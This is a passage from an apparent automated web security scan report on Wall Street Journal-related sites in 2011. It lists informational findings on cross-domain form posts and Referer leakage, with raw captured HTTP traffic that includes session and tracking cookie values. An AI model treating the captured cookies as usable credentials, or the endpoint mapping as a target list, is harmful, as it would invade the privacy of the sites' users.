Content-Type: text/html; charset=utf-8
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-MID: 969688f4497eb6aec4e1cf08b658396a5d724996
Set-Cookie: guest_id=130537064987698548; path=/; expires=Mon, 13 Jun 2011 10:57:29 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCBZlJ%252B4vAToHaWQiJTQ5NDE3Y2VkMWVkM2Ni%250AZDAxMDQ3MGNlMGUyYjA4NGVlIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--4c2a6a014dc6a29af071b0105b829696cb2d4df4; domain=.twitter.com; path=/; HttpOnly
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Connection: close
Content-Length: 37552

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">

<script type="text/javascript">
//<![CDATA[
window.location.replace('/#!/WSJHouse');
//]]>
</script>
<script type="text/javascript">
//<![CDATA[
(function(g){var c=g.location.href.split("#!");if(c[1]){g.location.replace(g.HBR = (c[0].replace(/\/*$/, "") + "/" + c[1].replace(/^\/*/, "")));}else return true})(window);
//]]>
</script>
<script type="text/javascript" charset="utf-8">
if (!twttr) {
var twttr = {}
}

// Benchmarking load time.
// twttr.timeTillReadyUnique = '1305358423-61626-31876';
// twttr.timeTillReadyStart = new Date().getTime();
</script>

<script type="text/javascript">
//<![CDATA[
var page={};var onCondition=function(D,C,A,B){D=D;A=A?Math.min(A,5):5;B=B||100;if(D()){C()}else{if(A>1){setTimeout(function(){onCondition(D,C,A-1,B)},B)}}};
//]]>
</script>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<meta content="en-us" http-equiv="Content-Language" />
<meta content="House of the Day (WSJHouse) is on Twitter. Sign up for Twitter to follow House of the Day (WSJHouse) and get their latest updates" name="description" />
<meta content="no" http-equiv="imagetoolbar" />
<meta content="width
...[SNIP]...

17.6. http://use.typekit.com/k/uhh2the-e.css previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://use.typekit.com
Path:	/k/uhh2the-e.css

Request 1

GET /k/uhh2the-e.css?3bb2a6e53c9684ffdc9a9aff195b2a62452a13f44e7d614e144260140418f8599437ff183a708238bcfb174872bbd6fc305594aaa3798daf2e466ac30c13dd658f9aec227cbe4b19b8d7ff3ab1f5c91d5060f77f3db7cd5f9a092654a1 HTTP/1.1
Host: use.typekit.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=300
Content-Type: text/css
Date: Sat, 14 May 2011 10:18:33 GMT
ETag: "2719143383+gzip"
Expires: Sat, 14 May 2011 10:23:33 GMT
Last-Modified: Tue, 10 May 2011 14:23:06 GMT
Server: ECS (dca/5338)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 63544

/*{"created":"2011-05-10T14:23:12Z","mac":"1:57771f202148952b35509a577241e85e13611257b0d91e2a773fbf1a3eb00080","version":"4064084","k":"0.9.5"}*/
/*
* The fonts and font delivery service used on this website are provided via
* Typekit, and are subject to the End User License Agreement entered into by
* the website owner. All other parties are explicitly restricted from using,
* in any manner, the Services, Licensed Fonts, or Licensed Content. Details
* about using Typekit, the EULA, and information about the fonts are listed
* below.
*
* @name Museo Slab
* @vendorname exljbris Font Foundry
* @vendorurl http://www.josbuivenga.demon.nl/index.html
* @licenseurl http://typekit.com/fonts/8d219f45c8/eula
*
* (c) 2011 Typekit, Inc.
*/

@font-face {
font-family:"museo-slab-1";
src:url(data:font/opentype;base64,d09GRgABAAAAAGpQABIAAAAA2pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAABqNAAAABwAAAAcV6OGRkdERUYAAGRYAAAAJAAAACgA/QAmR1BPUwAAZMAAAAV0AAAKRrou01NHU1VCAABkfAAAAEMAAABO4MLmIk9TLzIAAAIIAAAAUwAAAGBm4H5dY21hcAAABIAAAAFlAAABqgiplhVjdnQgAAAHfAAAACQAAAAkCFYDS2ZwZ20AAAXoAAABAgAAAXMGWZw3Z2FzcAAAZEwAAAAMAAAADAAHAAdnbHlmAAAJQAAAWBMAAL/AkWazWWhlYWQAAAGUAAAAMwAAADb2ebvuaGhlYQAAAcgAAAAdAAAAJAd/A7xobXR4AAACXAAAAiMAAAM4z40jS2xvY2EAAAegAAABngAAAZ6hK3T0bWF4cAAAAegAAAAgAAAAIALgA4ZuYW1lAABhVAAAAZcAAAL9q+jzGXBvc3QAAGLsAAABYAAAAdMBjQ9zcHJlcAAABuwAAACNAAAA7q+US/h42mNgZGBgAGLnr4HH4/ltvjLIM78AijCc3LVHD0b///BfnfkhcxuQy8HABBIFAIrwDmIAeNpjYGRgYF7z7w+Q/Pj/A5B8yAAUQQHnAKboB0EAAAAAAQAAAM4AUwAFAAQAAQABAAAAAAAKAAACAAMtAAEAAXjaY2BmcmWcwMDKwMC0h6mLgYGhB0Iz3mUwYvgFFGWAgQUMDOsdGBi8YfyAyKBgBgcGBUUlpnf/2RgYmNcwsigwMEwGyTH+YjoEpBQYmADV4Q8VAHjabZLNaxNRFMXPvbcu+iGK7aKoMU3aSDKTpJnSSWroolqjWD9a
...[SNIP]...

Request 2

GET /k/uhh2the-e.css?3bb2a6e53c9684ffdc9a9aff195b2a62452a13f44e7d614e144260140418f8599437ff183a708238bcfb174872bbd6fc305594aaa3798daf2e466ac30c13dd658f9aec227cbe4b19b8d7ff3ab1f5c91d5060f77f3db7cd5f9a092654a1 HTTP/1.1
Host: use.typekit.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 403 Forbidden
Cache-Control: max-age=300
Content-Type: text/html
Date: Sat, 14 May 2011 10:18:39 GMT
Expires: Sat, 14 May 2011 10:23:39 GMT
Server: ECS (dca/5338)
Content-Length: 345

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <title>403 - Forbidden</title>
   </head>
   <body>
       <h1>403 - Forbidden</h1>
   </body>
</html>

17.7. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.facebook.com
Path:	/plugins/like.php

Request 1

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3cbae80e8%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1ec38af7c%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703864204576321552255041680.html%3Fmod%3DWSJ_hp_LEFTTopStories&layout=standard&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=450 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response 1

Request 2

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3cbae80e8%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1ec38af7c%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703864204576321552255041680.html%3Fmod%3DWSJ_hp_LEFTTopStories&layout=standard&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=450 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response 2

17.8. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Request 1

GET /plugins/likebox.php?id=100484820802&width=230&connections=0&stream=false&header=false&height=62 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://itunes.apple.com/us/app/wsj-house-of-the-day/id418203198
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response 1

Request 2

GET /plugins/likebox.php?id=100484820802&width=230&connections=0&stream=false&header=false&height=62 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response 2

17.9. http://www.facebook.com/widgets/recommendations.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.facebook.com
Path:	/widgets/recommendations.php

Request 1

GET /widgets/recommendations.php?header=false&height=300&width=377&site=online.wsj.com&border_color=white HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response 1

Request 2

GET /widgets/recommendations.php?header=false&height=300&width=377&site=online.wsj.com&border_color=white HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response 2

18. Cross-domain POST previous next
There are 3 instances of this issue:

http://coretomic.com/epay.html
http://online.wsj.com/public/page/news-career-jobs.html
http://online.wsj.com/public/page/news-career-jobs.html

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.

18.1. http://coretomic.com/epay.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://coretomic.com
Path:	/epay.html

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
hosted_button_id
submit

Request

Response

18.2. http://online.wsj.com/public/page/news-career-jobs.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-career-jobs.html

Issue detail

The page contains a form which POSTs data to the domain www.bizbuysell.com. The form contains the following fields:

ir
J
tab
countyselresulttxtfieldname
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
i
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
county

Request

Response

18.3. http://online.wsj.com/public/page/news-career-jobs.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-career-jobs.html

Issue detail

The page contains a form which POSTs data to the domain www.bizbuysell.com. The form contains the following fields:

ir
J
tab
w
countyselresulttxtfieldname
i
i
i
i
i
i
i
i
i
i
i
i
k

Request

Response

19. Cross-domain Referer leakage previous next
There are 152 instances of this issue:

http://ad.doubleclick.net/adi/barrons.com/b2pfreezone
http://ad.doubleclick.net/adi/barrons.com/b2pfreezone
http://ad.doubleclick.net/adi/barrons.com/b2pfreezone
http://ad.doubleclick.net/adi/barrons.com/b2pfreezone_free
http://ad.doubleclick.net/adi/barrons.com/b2pfreezone_free
http://ad.doubleclick.net/adi/barrons.com/columnist
http://ad.doubleclick.net/adi/barrons.com/columnist
http://ad.doubleclick.net/adi/barrons.com/columnist
http://ad.doubleclick.net/adi/barrons.com/daily_barronstake
http://ad.doubleclick.net/adi/barrons.com/mag_streetwise
http://ad.doubleclick.net/adi/barrons.com/public_front
http://ad.doubleclick.net/adi/barrons.com/public_front
http://ad.doubleclick.net/adi/barrons.com/public_front
http://ad.doubleclick.net/adi/barrons.com/public_other
http://ad.doubleclick.net/adi/barrons.com/sponsor_pickspans
http://ad.doubleclick.net/adi/brokerbutton.smartmoney.com/partner_center
http://ad.doubleclick.net/adi/brokerbutton.smartmoney.com/partner_center
http://ad.doubleclick.net/adi/brokerbutton.smartmoney.com/partner_center
http://ad.doubleclick.net/adi/brokerbutton.smartmoney.com/partner_center
http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront
http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront
http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront
http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront
http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront
http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story
http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/rej_front
http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/rej_front
http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber
http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber
http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber
http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber
http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber
http://ad.doubleclick.net/adi/interactive.wsj.com/asia_houseoftheday
http://ad.doubleclick.net/adi/interactive.wsj.com/business_econ_front
http://ad.doubleclick.net/adi/interactive.wsj.com/business_econ_front
http://ad.doubleclick.net/adi/interactive.wsj.com/default
http://ad.doubleclick.net/adi/interactive.wsj.com/forgotpassword
http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub
http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub
http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub
http://ad.doubleclick.net/adi/interactive.wsj.com/houseoftheday
http://ad.doubleclick.net/adi/interactive.wsj.com/news_front
http://ad.doubleclick.net/adi/interactive.wsj.com/news_front
http://ad.doubleclick.net/adi/interactive.wsj.com/news_front
http://ad.doubleclick.net/adi/interactive.wsj.com/news_front
http://ad.doubleclick.net/adi/interactive.wsj.com/news_front
http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory
http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory
http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory
http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel
http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel
http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor
http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor
http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor
http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor
http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor
http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor
http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front
http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front
http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front
http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tilebot
http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tilebot
http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tiletop
http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tiletop
http://ad.doubleclick.net/adi/interactive.wsj.com/topics
http://ad.doubleclick.net/adi/interactive.wsj.com/us_houseoftheday
http://ad.doubleclick.net/adi/interactive.wsj.com/weekend
http://ad.doubleclick.net/adi/marketwatch.com/brand_channel
http://ad.doubleclick.net/adi/marketwatch.com/frontpage
http://ad.doubleclick.net/adi/marketwatch.com/frontpage
http://ad.doubleclick.net/adi/marketwatch.com/mutualfunds_jaffe
http://ad.doubleclick.net/adi/marketwatch.com/mutualfunds_jaffe
http://ad.doubleclick.net/adi/smartmoney.com/Homepage_Main_Front
http://ad.doubleclick.net/adi/smartmoney.com/Homepage_Main_Front
http://ad.doubleclick.net/adi/smartmoney.com/SmartMoney_Main_Front
http://ad.doubleclick.net/adi/smartmoney.com/SmartMoney_Main_Front
http://ad.doubleclick.net/adi/smartmoney.com/tool_module
http://ad.doubleclick.net/adj/allthingsd.com/front
http://ad.doubleclick.net/adj/allthingsd.com/general
http://ad.doubleclick.net/adj/allthingsd.com/kara_singlepost
http://ad.doubleclick.net/adj/barrons.com/survey
http://ad.doubleclick.net/adj/interactive.wsj.com/front_nonsub
http://ad.doubleclick.net/adj/interactive.wsj.com/topics_subject_DLW
http://ad.doubleclick.net/adj/marketwatch.com/brokerdock
http://ad.doubleclick.net/adj/marketwatch.com/personalfinance_story
http://api.twitter.com/1/statuses/user_timeline.json
http://bp.specificclick.net/
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://commerce.wsj.com/auth/login
http://fanpeeps.com/
http://fanpeeps.com/
http://fanpeeps.com/media/
http://fls.doubleclick.net/activityi
https://home.mcafee.com/secure/cart/
http://mediacdn.disqus.com/1305332303/build/system/disqus.js
http://mp.apmebf.com/ad/js/13754-86576-1281-0
http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html
http://online.barrons.com/article/barrons_take.html
http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html
http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html
http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html
http://online.wsj.com/internal/ModTwitWSJPersonalFin.htm
http://online.wsj.com/internal/ModTwitWSJPersonalFin.htm
http://online.wsj.com/internal/ModTwitWSJRealEstate.htm
http://online.wsj.com/public/page/0_0_WP_2400_NewsReel.html
http://online.wsj.com/public/page/news-career-jobs.html
http://online.wsj.com/public/page/news-real-estate-homes.html
http://online.wsj.com/public/page/news-real-estate-homes.html
http://online.wsj.com/static_html_files/onespot_js.html
http://realestate.wsj.com/for-sale/us/10010
http://realestate.wsj.com/item/822547
http://smartmoney.onespot.com/static/nextclick/content_exchange.html
http://www.dinse.com/news_events/in_the_news.html
http://www.facebook.com/plugins/fan.php
http://www.facebook.com/plugins/fan.php
http://www.facebook.com/plugins/fan.php
http://www.facebook.com/plugins/fan.php
http://www.facebook.com/plugins/fan.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/recommendations.php
http://www.facebook.com/widgets/recommendations.php
http://www.fanpeeps.com/
http://www.google.com/search
http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13
http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390
http://www.mcafeesecure.com/RatingVerify
http://www.mcafeesecure.com/us/products/buy_now.jsp
http://www.mcafeesecure.com/us/products/mcafee_secure.jsp
https://www.mcafeesecure.com/us/products/buy_now.jsp
https://www.mcafeesecure.com/us/resources/resource.jsp
http://www.smartmoney.com/
http://www.smartmoney.com/public/npage/0_0_SN_ArticleNews-Invest.html
http://www.smartmoney.com/static_html_files/smartmoney/smIntro.html

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

19.1. http://ad.doubleclick.net/adi/barrons.com/b2pfreezone previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/b2pfreezone

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/b2pfreezone;!category=;msrc=BOL_other_tnav_analysis;s=8_10001;mc=0;tile=6;sz=540x30;ord=1413141314131413;

The response contains the following link to another domain:

http://s0.2mdn.net/1428266/newSnippetPage-Top-Combo_v2.gif

Request

GET /adi/barrons.com/b2pfreezone;!category=;msrc=BOL_other_tnav_analysis;s=8_10001;mc=0;tile=6;sz=540x30;ord=1413141314131413; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/barrons_take.html?mod=BOL_other_tnav_analysis
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:33:21 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1124

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><map name="newSnippetPagePreview_TopMarch25">
<area shape="rect" coords="287,2,327
...[SNIP]...
</map>
<IMG SRC="http://s0.2mdn.net/1428266/newSnippetPage-Top-Combo_v2.gif" HEIGHT="30" WIDTH="540" USEMAP="#newSnippetPagePreview_TopMArch25" border=0></body>

19.2. http://ad.doubleclick.net/adi/barrons.com/b2pfreezone previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/b2pfreezone

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/b2pfreezone;u=%5E%5ElA;!category=;msrc=BOL_other_tnav_analysis;s=8_10001;mc=0;tile=1;sz=286x52;ord=1413141314131413;

The response contains the following link to another domain:

http://s0.2mdn.net/1428266/6BCWAD_OOTB4.jpg

Request

GET /adi/barrons.com/b2pfreezone;u=%5E%5ElA;!category=;msrc=BOL_other_tnav_analysis;s=8_10001;mc=0;tile=1;sz=286x52;ord=1413141314131413; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/barrons_take.html?mod=BOL_other_tnav_analysis
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:33:16 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1270

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1428266/6BCWAD_OOTB4.jpg" width="286" height="52" border="0" usemap="#Mapmay1_stackedheader" />
<map name="Mapmay1_stackedheader" id="Map">
...[SNIP]...

19.3. http://ad.doubleclick.net/adi/barrons.com/b2pfreezone previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/b2pfreezone

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/b2pfreezone;!category=;msrc=BOL_other_tnav_analysis;s=8_10001;mc=0;tile=7;sz=540x260;ord=1413141314131413;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1428266/1-BOL_Snippet_Online_v2.gif

Request

GET /adi/barrons.com/b2pfreezone;!category=;msrc=BOL_other_tnav_analysis;s=8_10001;mc=0;tile=7;sz=540x260;ord=1413141314131413; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/barrons_take.html?mod=BOL_other_tnav_analysis
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
